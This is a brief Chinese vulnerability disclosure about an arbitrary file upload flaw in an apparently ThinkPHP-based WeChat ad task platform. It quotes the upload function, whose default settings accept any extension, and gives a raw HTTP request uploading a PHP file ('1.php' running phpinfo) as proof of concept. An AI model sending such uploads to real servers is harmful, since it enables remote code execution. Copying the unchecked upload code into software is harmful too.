某最新微信广告任务平台存在任意文件上传漏洞(RCE)

/*** webuploader 上传文件*/public function ajax_upload(){  // 根据自己的业务调整上传路径、允许的格式、文件大小  ajax_upload('/Uploads/images/');}

/** * 上传文件类型控制 此方法仅限ajax上传使用 * @param  string   $path    字符串 保存文件路径示例：/Upload/image/ * @param  string   $format  文件格式限制 * @param  integer  $maxSize 允许的上传文件最大值 52428800 * @return booler   返回ajax的json格式数据 */function ajax_upload($path='file',$output_type=0,$subName='date',$format='empty',$maxSize='52428800'){    ini_set('max_execution_time', '0');    // 去除两边的/    $path=trim($path,'/');    // 添加Upload根目录    $path=strtolower(substr($path, 0,6))==='upload' ? ucfirst($path) : 'Upload/'.$path;    // 上传文件类型控制    $ext_arr= array(        'image' => array('gif', 'jpg', 'jpeg', 'png', 'bmp'),        'photo' => array('jpg', 'jpeg', 'png'),        'flash' => array('swf', 'flv'),        'media' => array('swf', 'flv', 'mp3', 'wav', 'wma', 'wmv', 'mid', 'avi', 'mpg', 'asf', 'rm', 'rmvb'),        'file' => array('doc', 'docx', 'xls', 'xlsx', 'ppt', 'htm', 'html', 'txt', 'zip', 'rar', 'gz', 'bz2','pdf')    );    if( $subName == 'date' ) {        $subName = array('date', 'Y-m-d'); //子目录创建方式，[0]-函数名，[1]-参数，多个参数使用数组    }    if(!empty($_FILES)){        // 上传文件配置        $config=array(            'maxSize'   =>  $maxSize,               // 上传文件最大为50M            'rootPath'  =>  './',                   // 文件上传保存的根路径            'savePath'  =>  './'.$path.'/',         // 文件上传的保存路径（相对于根路径）            'saveName'  =>  array('uniqid',''),     // 上传文件的保存规则，支持数组和字符串方式定义            'autoSub'   =>  true,                   // 自动使用子目录保存上传文件 默认为true            'exts'      =>    isset($ext_arr[$format])?$ext_arr[$format]:'',            'subName'      => $subName, //子目录创建方式，[0]-函数名，[1]-参数，多个参数使用数组        );        // p($_FILES);        // 实例化上传        $upload=new ThinkUpload($config);        // 调用上传方法        $info=$upload->upload();        // p($info);        $data=array();        if(!$info){            // 返回错误信息            $error=$upload->getError();            $data['error_info']=$error;            if( $output_type == 1 ) {                return json_encode($data);            } else {                echo json_encode($data);            }        }else{
            // 返回成功信息            foreach($info as $file){                $data['name']=trim($file['savepath'].$file['savename'],'.');                $data['oldname']=$file['name'];                // p($data);                if( $output_type == 1 ) {                    return $data['name'];                } else {                    echo json_encode($data);                }            }        }    }}

POST /index.php/Home/index/ajax_upload HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, br, zstdAccept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7Cache-Control: max-age=0Connection: keep-aliveContent-Length: 197Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCc7iBZFp1mvojsxnCookie: think_language=zh-CN; BJYADMIN=2150gjbkj92r835kg2dn9u9i75Host: 127.0.0.1Origin: http://127.0.0.1Referer: http://127.0.0.1/index.php/Home/Index/index.htmlSec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneSec-Fetch-User: ?1Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"
------WebKitFormBoundary03rNBzFMIytvpWhyContent-Disposition: form-data; name="file"; filename="1.php"Content-Type: image/jpeg
<?php phpinfo();?>------WebKitFormBoundary03rNBzFMIytvpWhy--